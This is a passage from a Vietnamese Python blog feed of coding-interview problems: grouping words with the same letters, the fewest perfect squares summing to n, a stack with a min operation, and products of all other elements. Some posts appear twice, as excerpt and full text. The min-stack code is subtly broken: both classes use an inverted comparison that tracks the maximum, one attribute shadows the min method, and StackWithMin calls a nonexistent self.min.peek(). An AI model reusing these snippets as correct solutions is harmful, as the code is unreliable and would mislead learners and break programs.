<span class="k">assert</span><span class="p">(</span><span class="n">solve</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="mi">4</span><span class="p">)</span> <span class="o">==</span> <span class="mi">7</span><span class="p">)</span>
<span class="k">assert</span><span class="p">(</span><span class="n">solve</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="mi">5</span><span class="p">)</span> <span class="o">==</span> <span class="mi">9</span><span class="p">)</span>
<span class="k">assert</span><span class="p">(</span><span class="n">solve</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="mi">6</span><span class="p">)</span> <span class="o">==</span> <span class="mi">10</span><span class="p">)</span>
</pre></div>
</div>
Phỏng vấn: Tìm các từ cùng bộ ký tự2015-03-16T02:05:00+07:002015-03-16T02:05:00+07:00Nguyễn Thành Namtag:None,2015-03-16:2015/03/phong-van-tim-cac-tu-cung-bo-ky-tu.html<div class="section" id="cau-hoi">
<h2>Câu hỏi</h2>
<p>Cho một quyển từ điển <strong>D</strong>, và một từ <strong>W</strong> trong từ điển, yêu cầu xuất ra tất cả các từ có trong từ điển với cùng bộ ký tự như từ <strong>W</strong>.</p>
<p>Ví dụ từ <strong>mary</strong> có bộ ký tự là một chữ <strong>m</strong>, một chữ <strong>a …</strong></p></div><div class="section" id="cau-hoi">
<h2>Câu hỏi</h2>
<p>Cho một quyển từ điển <strong>D</strong>, và một từ <strong>W</strong> trong từ điển, yêu cầu xuất ra tất cả các từ có trong từ điển với cùng bộ ký tự như từ <strong>W</strong>.</p>
<p>Ví dụ từ <strong>mary</strong> có bộ ký tự là một chữ <strong>m</strong>, một chữ <strong>a</strong>, một chữ <strong>r</strong> và một chữ <strong>y</strong>, từ <strong>army</strong> cũng có cùng bộ ký tự như vậy.</p>
</div>
<div class="section" id="phan-tich">
<h2>Phân tích</h2>
<p>Mối quan hệ giữa từ, và bộ ký tự là <strong>1-n</strong>, tức là một từ sẽ có một bộ ký tự, nhưng một bộ ký tự có thể có nhiều từ. Do đó, cách giải bài này là thể hiện mối quan hệ giữa từ và bộ ký tự của nó.</p>
<p>Với mỗi từ <strong>X</strong> trong từ điển, ta sẽ tìm ra bộ ký tự <strong>K</strong> tương ứng của từ đó, và lưu <strong>X</strong> vào danh sách các từ có bộ ký tự <strong>K</strong>. Để trả lời câu hỏi, ta chỉ việc in ra danh sách các từ có bộ ký tự tương ứng với <strong>W</strong>.</p>
<p>Độ phức tạp thực thi của cách giải này là <strong>O(1)</strong> với <strong>O(n)</strong> bước xử lý trước (preprocessing), và tốn <strong>O(n)</strong> bộ nhớ.</p>
<div class="highlight"><pre><span></span><span class="kn">from</span> <span class="nn">collections</span> <span class="kn">import</span> <span class="n">defaultdict</span>
<span class="k">def</span> <span class="nf">get_alphabet</span><span class="p">(</span><span class="n">word</span><span class="p">):</span>
<span class="n">count</span> <span class="o">=</span> <span class="n">defaultdict</span><span class="p">(</span><span class="nb">int</span><span class="p">)</span>
<span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">word</span><span class="p">:</span>
<span class="n">count</span><span class="p">[</span><span class="n">c</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="c1"># vì kiểu dict là khả biến, nên ta phải</span>
<span class="c1"># chuyển "count" thành kiểu string để</span>
<span class="c1"># có thể dùng làm khóa trong một dict khác</span>
<span class="n">r</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">sorted</span><span class="p">(</span><span class="n">count</span><span class="o">.</span><span class="n">keys</span><span class="p">()):</span>
<span class="n">r</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s1">'</span><span class="si">%c%d</span><span class="s1">'</span> <span class="o">%</span> <span class="p">(</span><span class="n">k</span><span class="p">,</span> <span class="n">count</span><span class="p">[</span><span class="n">k</span><span class="p">]))</span>
<span class="k">return</span> <span class="s1">''</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">r</span><span class="p">)</span>
<span class="k">assert</span><span class="p">(</span><span class="n">get_alphabet</span><span class="p">(</span><span class="s1">'aaabb'</span><span class="p">)</span> <span class="o">==</span> <span class="s1">'a3b2'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">solve</span><span class="p">(</span><span class="n">D</span><span class="p">,</span> <span class="n">W</span><span class="p">):</span>
<span class="n">alpha_to_words</span> <span class="o">=</span> <span class="n">defaultdict</span><span class="p">(</span><span class="nb">list</span><span class="p">)</span>
<span class="k">for</span> <span class="n">word</span> <span class="ow">in</span> <span class="n">D</span><span class="p">:</span>
<span class="n">alpha</span> <span class="o">=</span> <span class="n">get_alphabet</span><span class="p">(</span><span class="n">word</span><span class="p">)</span>
<span class="n">alpha_to_words</span><span class="p">[</span><span class="n">alpha</span><span class="p">]</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">word</span><span class="p">)</span>
<span class="k">return</span> <span class="n">alpha_to_words</span><span class="p">[</span><span class="n">get_alphabet</span><span class="p">(</span><span class="n">W</span><span class="p">)]</span>
<span class="k">assert</span><span class="p">(</span><span class="n">solve</span><span class="p">([</span><span class="s1">'mary'</span><span class="p">,</span> <span class="s1">'army'</span><span class="p">,</span> <span class="s1">'vithon'</span><span class="p">],</span> <span class="s1">'mary'</span><span class="p">)</span> <span class="o">==</span> <span class="p">[</span><span class="s1">'mary'</span><span class="p">,</span> <span class="s1">'army'</span><span class="p">])</span>
</pre></div>
<p>Cách giải trên sẽ áp dụng tốt nếu ta cần trả lời cho một loạt các từ <strong>W</strong> bởi vì ta chỉ tốn thời gian xử lý trước một lần, và sau đó có thể truy vấn <strong>alpha_to_words</strong> cho mỗi từ <strong>W</strong> sau đó. Tuy nhiên, nếu ta chỉ cần trả lời câu hỏi cho duy nhất một từ <strong>W</strong> thì việc tốn thêm <strong>O(n)</strong> bộ nhớ cho <strong>alpha_to_words</strong> là không cần thiết. Trong trường hợp đó, ta chỉ việc xét từng từ trong <strong>D</strong>, nếu nó có cùng bộ ký tự như <strong>W</strong> thì ta xuất nó ra ngay.</p>
</div>
Phỏng vấn: Số lượng số chính phương ít nhất để có tổng là n2015-03-14T15:53:00+07:002015-03-14T15:53:00+07:00Nguyễn Thành Namtag:None,2015-03-14:2015/03/phong-van-so-luong-so-chinh-phuong-it-nhat-de-co-tong-la-n.html<div class="section" id="cau-hoi">
<h2>Câu hỏi</h2>
<p>Cho một số nguyên dương <strong>n</strong>, tìm số lượng số chính phương ít nhất có tổng là <strong>n</strong>.</p>
<p>Ví dụ: Với n là 9, thì đáp án là 1 (vì 9 là số chính phương), với n là 10 thì đáp án là 2 (9 + 1), với n …</p></div><div class="section" id="cau-hoi">
<h2>Câu hỏi</h2>
<p>Cho một số nguyên dương <strong>n</strong>, tìm số lượng số chính phương ít nhất có tổng là <strong>n</strong>.</p>
<p>Ví dụ: Với n là 9, thì đáp án là 1 (vì 9 là số chính phương), với n là 10 thì đáp án là 2 (9 + 1), với n là 11, đáp án là 3 (9 + 1 + 1), với n là 12 thì đáp án là 3 (4 + 4 + 4).</p>
</div>
<div class="section" id="phan-tich">
<h2>Phân tích</h2>
<p>Giả sử như ta đã có đáp án cho tất cả các giá trị từ 1 đến <strong>n-1</strong>, đáp án cho <strong>n</strong> sẽ là <strong>min(1 + đáp án của (n-x))</strong> với <strong>x</strong> là một số chính phương. Nói một cách khác, với mỗi số chính phương <strong>x</strong> nhỏ hơn hoặc bằng <strong>n</strong>, số lượng số chính phương cần để có tổng là <strong>n</strong> sẽ là số lượng số chính phương cần để tạo ra tổng là <strong>n-x</strong> thêm <strong>1</strong> (chính là x). Do đó, đáp án cho <strong>n</strong> sẽ chính là min của các cách tạo ra tổng <strong>n</strong> từ các số chính phương nhỏ hơn hoặc bằng <strong>n</strong>.</p>
<p>Như vậy, ta có thể giải bài toán này bằng cách điền vào bảng trả lời (đặt tên là <strong>ans</strong>) cho các giá trị từ 0 đến <strong>n</strong>. Kết quả cuối cùng sẽ là giá trị của <strong>ans[n]</strong>.</p>
<p>Cách giải các bài toán mà đáp án cho giá trị cuối cùng có thể được tính từ đáp án của các giá trị trước, và ta có thể tính các giá trị này bằng cách từ từ điền vào bảng, được gọi là <strong>quy hoạch động</strong> (dynamic programming).</p>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">solve</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
<span class="n">ans</span> <span class="o">=</span> <span class="p">[</span><span class="n">n</span><span class="p">]</span> <span class="o">*</span> <span class="p">(</span><span class="n">n</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span>
<span class="n">ans</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">ans</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">1</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">xrange</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="n">n</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
<span class="n">x</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="n">x</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="n">x2</span> <span class="o">=</span> <span class="n">x</span> <span class="o">*</span> <span class="n">x</span>
<span class="k">if</span> <span class="n">x2</span> <span class="o">></span> <span class="n">i</span><span class="p">:</span>
<span class="k">break</span>
<span class="n">ans</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="nb">min</span><span class="p">(</span><span class="n">ans</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="mi">1</span> <span class="o">+</span> <span class="n">ans</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="n">x2</span><span class="p">])</span>
<span class="k">return</span> <span class="n">ans</span><span class="p">[</span><span class="n">n</span><span class="p">]</span>
<span class="k">assert</span><span class="p">(</span><span class="n">solve</span><span class="p">(</span><span class="mi">9</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span>
<span class="k">assert</span><span class="p">(</span><span class="n">solve</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span> <span class="o">==</span> <span class="mi">2</span><span class="p">)</span>
<span class="k">assert</span><span class="p">(</span><span class="n">solve</span><span class="p">(</span><span class="mi">11</span><span class="p">)</span> <span class="o">==</span> <span class="mi">3</span><span class="p">)</span>
<span class="k">assert</span><span class="p">(</span><span class="n">solve</span><span class="p">(</span><span class="mi">12</span><span class="p">)</span> <span class="o">==</span> <span class="mi">3</span><span class="p">)</span>
</pre></div>
<p>Độ phức tạp thực thi của cách giải này là <strong>O(n * sqrt(n))</strong>, và tốn <strong>O(n)</strong> bộ nhớ.</p>
</div>
Phỏng vấn: Cài đặt "ngăn xếp" với thao tác "min/max"2015-03-11T03:07:00+07:002015-03-11T03:07:00+07:00Nguyễn Thành Namtag:None,2015-03-11:2015/03/phong-van-cai-dat-ngan-xep-voi-thao-tac-minmax.html<div class="section" id="cau-hoi">
<h2>Câu hỏi</h2>
<p>Cài đặt cấu trúc dữ liệu <strong>ngăn xếp</strong> với thao tác <strong>trả về phần tử nhỏ (hay lớn) nhất</strong> hiện tại của ngăn xếp.</p>
</div>
<div class="section" id="phan-tich">
<h2>Phân tích</h2>
<p>Ngăn xếp (stack) là cấu trúc dữ liệu vào sau ra trước (Last In, First Out). Nói đến ngăn xếp ta phải …</p></div><div class="section" id="cau-hoi">
<h2>Câu hỏi</h2>
<p>Cài đặt cấu trúc dữ liệu <strong>ngăn xếp</strong> với thao tác <strong>trả về phần tử nhỏ (hay lớn) nhất</strong> hiện tại của ngăn xếp.</p>
</div>
<div class="section" id="phan-tich">
<h2>Phân tích</h2>
<p>Ngăn xếp (stack) là cấu trúc dữ liệu vào sau ra trước (Last In, First Out). Nói đến ngăn xếp ta phải nhớ ngay đến hai tác vụ quan trọng nhất là đẩy vào (<strong>push</strong>) và lấy ra (<strong>pop</strong>). Khi <strong>push</strong> dữ liệu vào, dữ liệu sẽ nằm trên cùng của ngăn xếp (top of stack). Khi <strong>pop</strong>, dữ liệu trên cùng của ngăn xếp sẽ được lấy ra khỏi ngăn xếp.</p>
<p>Ngoài hai tác vụ trên, ta còn có thể kể thêm một số tác vụ truy vấn cấu trúc dữ liệu này ví dụ như số lượng dữ liệu có trong ngăn xếp, liệu ngăn xếp có dữ liệu hay không, hay xem dữ liệu trên cùng của ngăn xếp (mà không lấy nó ra khỏi ngăn xếp).</p>
<p>Câu hỏi này yêu cầu ta cài đặt hai tác vụ <strong>push</strong>, <strong>pop</strong>, và thêm tác vụ <strong>min</strong> (hoặc <strong>max</strong>) để cho biết dữ liệu nhỏ nhất (hay lớn nhất) hiện tại trong ngăn xếp <strong>mà không lấy nó ra</strong>.</p>
<div class="section" id="cach-giai-de-nhat">
<h3>Cách giải dễ nhất</h3>
<p>Điều đầu tiên ta nghĩ đến sẽ là tạo một biến để chứa giá trị cực tiểu (hay cực đại). Khi <strong>push</strong> vào, ta sẽ cập nhật lại biến này nếu cần. Khi hỏi <strong>min</strong> thì ta chỉ cần trả về giá trị này.</p>
<p>Vấn đề phức tạp là khi <strong>pop</strong> ra, làm sao để ta cập nhật lại biến cực tiểu đó? Một cách rất đơn giản là ta sẽ duyệt lại toàn bộ các dữ liệu đang có trong ngăn xếp để đưa ra giá trị cực tiểu mới.</p>
<p>Cách giải này dẫn đến độ phức tạp <strong>O(1)</strong> cho <strong>push</strong>, <strong>O(1)</strong> cho <strong>min</strong> và <strong>O(n)</strong> cho <strong>pop</strong>.</p>
<div class="highlight"><pre><span></span><span class="k">class</span> <span class="nc">Stack</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">store</span> <span class="o">=</span> <span class="p">[]</span>
<span class="bp">self</span><span class="o">.</span><span class="n">min</span> <span class="o">=</span> <span class="kc">None</span>
<span class="k">def</span> <span class="nf">push</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">store</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">value</span><span class="p">)</span>
<span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">min</span> <span class="ow">is</span> <span class="kc">None</span> <span class="ow">or</span> <span class="bp">self</span><span class="o">.</span><span class="n">min</span> <span class="o"><</span> <span class="n">value</span><span class="p">:</span>
<span class="bp">self</span><span class="o">.</span><span class="n">min</span> <span class="o">=</span> <span class="n">value</span>
<span class="k">def</span> <span class="nf">pop</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">r</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">store</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">del</span> <span class="bp">self</span><span class="o">.</span><span class="n">store</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">if</span> <span class="ow">not</span> <span class="bp">self</span><span class="o">.</span><span class="n">store</span><span class="p">:</span>
<span class="bp">self</span><span class="o">.</span><span class="n">min</span> <span class="o">=</span> <span class="kc">None</span>
<span class="k">else</span><span class="p">:</span>
<span class="bp">self</span><span class="o">.</span><span class="n">min</span> <span class="o">=</span> <span class="nb">min</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">store</span><span class="p">)</span>
<span class="k">return</span> <span class="n">r</span>
<span class="k">def</span> <span class="nf">min</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">min</span>
</pre></div>
</div>
<div class="section" id="cach-giai-o-1-cho-pop">
<h3>Cách giải O(1) cho <strong>pop</strong></h3>
<p>Ta nhận thấy rằng tác vụ <strong>pop</strong> có độ phức tạp <strong>O(n)</strong> là bởi vì ta phải duyệt lại toàn bộ các phần tử hiện tại của ngăn xếp để xác định phần tử cực tiểu.</p>
<p>Một phương pháp thường được sử dụng để tăng tốc tác vụ là sử dụng bộ nhớ tạm (cache). Ta sẽ tráo đổi giữa thời gian chạy, và không gian nhớ. Nếu như ở mỗi lần <strong>push</strong>, ta lưu giá trị cực tiểu của các phần tử trong ngăn xếp này vào trong một <strong>ngăn xếp thứ hai</strong>, thì khi trả lời <strong>min</strong>, ta chỉ việc nhìn vào (<strong>peek</strong>) ngăn xếp thứ hai là sẽ có ngay kết quả. Và khi <strong>pop</strong> thì ta chỉ việc <strong>pop</strong> ở cả hai ngăn xếp. Các tác vụ này đều có độ phức tạp <strong>O(1)</strong>, nhưng ta sẽ tốn thêm <strong>O(n)</strong> bộ nhớ cho ngăn xếp thứ hai.</p>
<div class="highlight"><pre><span></span><span class="k">class</span> <span class="nc">StackBase</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">store</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">def</span> <span class="nf">push</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">store</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">value</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">pop</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">r</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">store</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">del</span> <span class="bp">self</span><span class="o">.</span><span class="n">store</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">return</span> <span class="n">r</span>
<span class="k">def</span> <span class="nf">peek</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">store</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">def</span> <span class="fm">__bool__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="nb">bool</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">store</span><span class="p">)</span>
<span class="k">class</span> <span class="nc">StackWithMin</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">store</span> <span class="o">=</span> <span class="n">StackBase</span><span class="p">()</span>
<span class="bp">self</span><span class="o">.</span><span class="n">mins</span> <span class="o">=</span> <span class="n">StackBase</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">push</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">store</span><span class="o">.</span><span class="n">push</span><span class="p">(</span><span class="n">value</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="bp">self</span><span class="o">.</span><span class="n">mins</span> <span class="ow">or</span> <span class="bp">self</span><span class="o">.</span><span class="n">mins</span><span class="o">.</span><span class="n">peek</span><span class="p">()</span> <span class="o"><</span> <span class="n">value</span><span class="p">:</span>
<span class="bp">self</span><span class="o">.</span><span class="n">mins</span><span class="o">.</span><span class="n">push</span><span class="p">(</span><span class="n">value</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="bp">self</span><span class="o">.</span><span class="n">mins</span><span class="o">.</span><span class="n">push</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">min</span><span class="o">.</span><span class="n">peek</span><span class="p">())</span>
<span class="k">def</span> <span class="nf">pop</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">mins</span><span class="o">.</span><span class="n">pop</span><span class="p">()</span>
<span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">store</span><span class="o">.</span><span class="n">pop</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">min</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">mins</span><span class="o">.</span><span class="n">peek</span><span class="p">()</span>
</pre></div>
</div>
<div class="section" id="cach-giai-o-1-cho-pop-cai-tien">
<h3>Cách giải O(1) cho <strong>pop</strong> cải tiến</h3>
<p>Cách giải trên tráo đổi <strong>O(1)</strong> bộ nhớ và <strong>O(n)</strong> thời gian cho <strong>O(n)</strong> bộ nhớ và <strong>O(1)</strong> thời gian.</p>
<p>Vấn đề dẫn đến <strong>O(n)</strong> bộ nhớ là do ở mỗi lần <strong>push</strong> ta cũng lưu lại giá trị cực tiểu của các phần tử hiện tại. Nếu như ta chỉ lưu <strong>vị trí</strong> của phần tử cực tiểu, thì ta sẽ tiết kiệm được bộ nhớ một chút. Ta chỉ cần lưu lại vị trí của phần tử cực tiểu mới, nếu vị trí này khác với vị trí hiện tại. Khi <strong>pop</strong> ra, nếu số lượng phần tử hiện tại ít hơn vị trí của phần tử cực tiểu thì ta cũng <strong>pop</strong> luôn vị trí này ra khỏi ngăn xếp thứ hai. Điều này đảm bảo điều kiện bất biến <strong>vị trí của phần tử cực tiểu luôn luôn nhỏ hơn số lượng phần tử trong ngăn xếp</strong>.</p>
<p>Cài đặt này xin được để dành làm một thử thách nhỏ cho bạn đọc. <a class="reference external" href="forum.vithon.org">Diễn đàn</a> là nơi tốt nhất để bạn đọc trao đổi thêm.</p>
</div>
</div>
Phỏng vấn: Tìm tích của mọi phần tử trừ phần tử hiện tại2015-03-08T07:05:00+07:002015-03-08T07:05:00+07:00Nguyễn Thành Namtag:None,2015-03-08:2015/03/phong-van-tim-tich-cua-moi-phan-tu-tru-phan-tu-hien-tai.html<div class="section" id="cau-hoi">
<h2>Câu hỏi</h2>
<p>Cho một danh sách các số thực <strong>A</strong>, trả về một danh sách trong đó phần tử tại vị trí <strong>i</strong> có giá trị là tích của các phần tử không phải ở vị trí <strong>i</strong> trong danh sách <strong>A</strong>.</p>
</div>
<div class="section" id="phan-tich">
<h2>Phân tích</h2>
<div class="section" id="truong-hop-ngoai-le">
<h3>Trường hợp ngoại lệ</h3>
<p>Nếu <strong>A …</strong></p></div></div><div class="section" id="cau-hoi">
<h2>Câu hỏi</h2>
<p>Cho một danh sách các số thực <strong>A</strong>, trả về một danh sách trong đó phần tử tại vị trí <strong>i</strong> có giá trị là tích của các phần tử không phải ở vị trí <strong>i</strong> trong danh sách <strong>A</strong>.</p>
</div>
<div class="section" id="phan-tich">
<h2>Phân tích</h2>
<div class="section" id="truong-hop-ngoai-le">
<h3>Trường hợp ngoại lệ</h3>
<p>Nếu <strong>A</strong> chỉ có một phần tử thì giá trị trả về sẽ là gì? Người đi phỏng vấn phải hỏi ngược lại được người phỏng vấn trường hợp này.</p>
</div>
<div class="section" id="cach-giai-don-gian">
<h3>Cách giải đơn giản</h3>
<p>Cách giải đơn giản nhất là ta thực hiện hai vòng lặp để tính giá trị của từng phần tử của danh sách <strong>B</strong>.</p>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">solve</span><span class="p">(</span><span class="n">A</span><span class="p">):</span>
<span class="n">B</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">*</span> <span class="nb">len</span><span class="p">(</span><span class="n">A</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">xrange</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">A</span><span class="p">)):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="n">xrange</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">A</span><span class="p">)):</span>
<span class="k">if</span> <span class="n">i</span> <span class="o">!=</span> <span class="n">j</span><span class="p">:</span>
<span class="n">B</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">*=</span> <span class="n">A</span><span class="p">[</span><span class="n">j</span><span class="p">]</span>
<span class="k">return</span> <span class="n">B</span>
<span class="k">assert</span><span class="p">(</span><span class="n">solve</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">])</span> <span class="o">==</span> <span class="p">[</span><span class="mi">84</span><span class="p">,</span> <span class="mi">12</span><span class="p">,</span> <span class="mi">28</span><span class="p">,</span> <span class="mi">21</span><span class="p">])</span>
</pre></div>
<p>Cách giải này có độ phức tạp là <strong>O(n^2)</strong>.</p>
</div>
<div class="section" id="cach-giai-o-n">
<h3>Cách giải O(n)</h3>
<p>Có hai nhận xét đơn giản sau:</p>
<blockquote>
# Nếu như trong số phần tử còn lại có giá trị 0, thì tích số cũng sẽ là 0.
# Giá trị của <strong>B[i]</strong> sẽ là tích của toàn bộ các phần tử trong <strong>A</strong>, chia cho <strong>A[i]</strong>. Ta có thể tính tích của toàn bộ các phần tử trong <strong>A</strong> qua một vòng lặp, và dùng một vòng lặp khác để tính từng giá trị của <strong>B</strong>.</blockquote>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">solve</span><span class="p">(</span><span class="n">A</span><span class="p">):</span>
<span class="n">nr_zeros</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">product</span> <span class="o">=</span> <span class="mi">1</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">xrange</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">A</span><span class="p">)):</span>
<span class="k">if</span> <span class="n">A</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">nr_zeros</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">product</span> <span class="o">*=</span> <span class="n">A</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="k">if</span> <span class="n">nr_zeros</span> <span class="o">>=</span> <span class="mi">2</span><span class="p">:</span>
<span class="k">return</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="nb">len</span><span class="p">(</span><span class="n">A</span><span class="p">)</span>
<span class="n">B</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="nb">len</span><span class="p">(</span><span class="n">A</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">xrange</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">B</span><span class="p">)):</span>
<span class="k">if</span> <span class="n">A</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
<span class="n">B</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">product</span>
<span class="k">elif</span> <span class="n">nr_zeros</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">:</span>
<span class="n">B</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">product</span> <span class="o">/</span> <span class="n">A</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="k">return</span> <span class="n">B</span>
<span class="k">assert</span><span class="p">(</span><span class="n">solve</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">])</span> <span class="o">==</span> <span class="p">[</span><span class="mi">84</span><span class="p">,</span> <span class="mi">12</span><span class="p">,</span> <span class="mi">28</span><span class="p">,</span> <span class="mi">21</span><span class="p">])</span>
</pre></div>
</div>
<div class="section" id="cach-giai-khong-dung-phep-chia">
<h3>Cách giải không dùng phép chia</h3>
<p>Ta nhận thấy rằng <strong>B[i]</strong> là tích của các phần tử từ <strong>0</strong> đến <strong>i-1</strong> và từ <strong>i+1</strong> đến <strong>n</strong> của <strong>A</strong> (với <strong>n</strong> là số phần tử trong A). Nói một cách khác, giá trị trong <strong>B</strong> là <strong>tích của hai phần liên tục từ bên trái, và từ bên phải của A</strong>. Do đó, ta sẽ sử dụng hai danh sách tạm <strong>left_product</strong> và <strong>right_product</strong> để chứa tích các phần tử trong <strong>A</strong> từ bên trái, và từ bên phải, loại trừ phần tử đang xét.</p>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">solve</span><span class="p">(</span><span class="n">A</span><span class="p">):</span>
<span class="n">left_product</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">*</span> <span class="nb">len</span><span class="p">(</span><span class="n">A</span><span class="p">)</span>
<span class="n">right_product</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">*</span> <span class="nb">len</span><span class="p">(</span><span class="n">A</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">xrange</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">A</span><span class="p">)):</span>
